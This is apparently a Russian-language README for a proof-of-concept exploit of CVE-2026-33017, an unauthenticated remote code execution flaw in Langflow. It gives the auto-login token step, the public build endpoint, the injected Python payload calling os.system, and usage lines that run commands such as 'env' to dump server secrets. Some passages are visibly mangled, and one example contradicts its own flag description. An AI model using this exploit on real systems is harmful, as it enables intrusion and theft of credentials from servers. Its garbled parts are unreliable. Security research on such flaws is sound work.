
Proof-of-concept для CVE-2026-33017, демонстрирующий неаутентифицированное удалённое выполнение кода в уязвимых версиях Langflow через внедрение вредоносного кода CustomComponent.
CVE ID: CVE-2026-33017
Затронутое ПО: Langflow
Уязвимые версии: <= 1.8.2
Исправленная версия: >= 1.9.0
Критичность: Критическая
Автор: arensballiu
Дата: 2026
Langflow предоставляет публичную конечную точку сборки потока (/api/v1/build_public_tmp/{flowID}/flow), которая принимает
произвольные блоки кода CustomComponent и выполняет их на стороне сервера без аутентификации. Внедрив
вредоносную полезную нагрузку на Python в поле code узла CustomComponent, неаутентифицированный
злоумышленник может выполнить произвольные команды операционной системы с привилегиями процесса сервера Langflow.
Цепочка атаки сначала использует конечную точку /api/v1/auto_login, которая выдаёт bearer-токен без
запроса учётных данных, когда Langflow работает в конфигурации авто-входа по умолчанию. Затем она использует
этот токен для создания временного публичного потока и запускает выполнение кода на стороне сервера через конечную точку
сборки.
В комплект включён docker-файл, который создаёт экземпляр docker с установленным и запущенным langflow.
| Конечная точка | Метод | Требуется аутентификация | Назначение |
|---|---|---|---|
/api/v1/auto_login | GET | Нет | Получить bearer-токен (авто-вход должен быть включён) |
/api/v1/flows/ | POST | Да (Bearer) | Создать новый поток |
/api/v1/build_public_tmp/{flowID}/flow | POST | Нет (публичная) | Запустить сборку — уязвимая точка выполнения |
/api/v1/flows/{flowID} | DELETE | Да (Bearer) | Удалить созданный поток |
Файл: CVE-2026-33017_POC.py
requestspip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
| Флаг | Полная форма | Обязательный | Описание |
|---|---|---|---|
-u | --url | Да | Базовый URL экземпляра Langflow |
-c | --command | Да | Команда ОС для выполнения на сервере |
-d | --delete | Нет | Удалить созданный поток после эксплуатации |
Проверка выполнения кода:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
Получение переменных окружения сервера:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
Оставить поток активным после эксплуатации (пропустить очистку):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
Эксплойт внедряет следующий фрагмент Python в поле code узла CustomComponent:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) — динамически импортирует модуль os и выполняет предоставленную злоумышленником shell-команду на сервере.CustomComponent, необходимый для того, чтобы загрузчик компонентов Langflow не вызвал ошибку парсинга.PUBLIC, и конечная точка сборки вызывается через его публичную конечную точку, что означает, что для запуска выполнения не требуется ни сессионный cookie, ни токен аутентификации.Система CustomComponent в Langflow позволяет передавать произвольный код Python как часть определения
потока. Конечная точка /api/v1/build_public_tmp/{flowID}/flow собирает и частично вычисляет этот
код на стороне сервера, включая операторы уровня модуля, без песочницы или ограничения доступа к
встроенным функциям Python, таким как __import__.
1. GET /api/v1/auto_login → Получить Bearer-токен (учётные данные не нужны)
2. POST /api/v1/flows/ → Создать PUBLIC-поток (Bearer-токен)
3. POST /api/v1/build_public_tmp/ → Внедрить и выполнить вредоносный CustomComponent (без аутентификации)
4. DELETE /api/v1/flows/{id} → Очистка (необязательно)
Все четыре шага может выполнить анонимный злоумышленник против развёртывания Langflow по умолчанию.
LANGFLOW_AUTO_LOGIN=false) в любом развёртывании, доступном из интернета.Данное доказательство концепции предоставлено исключительно в образовательных целях и для авторизованных исследований в области безопасности. Использование этого скрипта против систем без явного письменного разрешения является незаконным и неэтичным. Автор и участники не несут ответственности за неправомерное использование.